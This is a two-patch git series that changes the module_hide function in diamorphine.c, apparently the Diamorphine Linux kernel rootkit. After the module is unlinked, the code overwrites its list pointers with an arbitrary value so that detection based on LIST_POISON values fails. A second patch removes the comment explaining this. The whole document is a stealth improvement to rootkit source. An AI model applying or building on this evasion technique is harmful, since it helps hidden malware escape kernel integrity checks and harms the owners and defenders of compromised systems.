From 5e089a2d558df91cab37f2dd349f8b06742eaf3a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9A=D0=B8=D1=80=D0=B8=D0=BB=D0=BB=20=D0=A3=D1=80=D1=83?= =?UTF-8?q?=D1=81=D0=BE=D0=B2?= Date: Fri, 24 Apr 2026 19:54:59 +0300 Subject: [PATCH 1/2] Add modification of list.prev and list.next values to avoid detection --- diamorphine.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/diamorphine.c b/diamorphine.c index 8f94e64..fcd7011 100644 --- a/diamorphine.c +++ b/diamorphine.c @@ -312,6 +312,10 @@ module_hide(void) { module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); + + /* Change list pointers to avoid decetct by LIST_POISON1 and LIST_POISON2 values */ + THIS_MODULE->list.prev = (void *)0x8163; + THIS_MODULE->list.next = (void *)0x8163; module_hidden = 1; } From 0c973328037b66c51ea8fedeb61214dd7068397f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9A=D0=B8=D1=80=D0=B8=D0=BB=D0=BB=20=D0=A3=D1=80=D1=83?= =?UTF-8?q?=D1=81=D0=BE=D0=B2?= Date: Fri, 24 Apr 2026 20:26:05 +0300 Subject: [PATCH 2/2] Delete comment --- diamorphine.c | 1 - 1 file changed, 1 deletion(-) diff --git a/diamorphine.c b/diamorphine.c index fcd7011..eb22a1e 100644 --- a/diamorphine.c +++ b/diamorphine.c @@ -313,7 +313,6 @@ module_hide(void) module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); - /* Change list pointers to avoid decetct by LIST_POISON1 and LIST_POISON2 values */ THIS_MODULE->list.prev = (void *)0x8163; THIS_MODULE->list.next = (void *)0x8163; module_hidden = 1;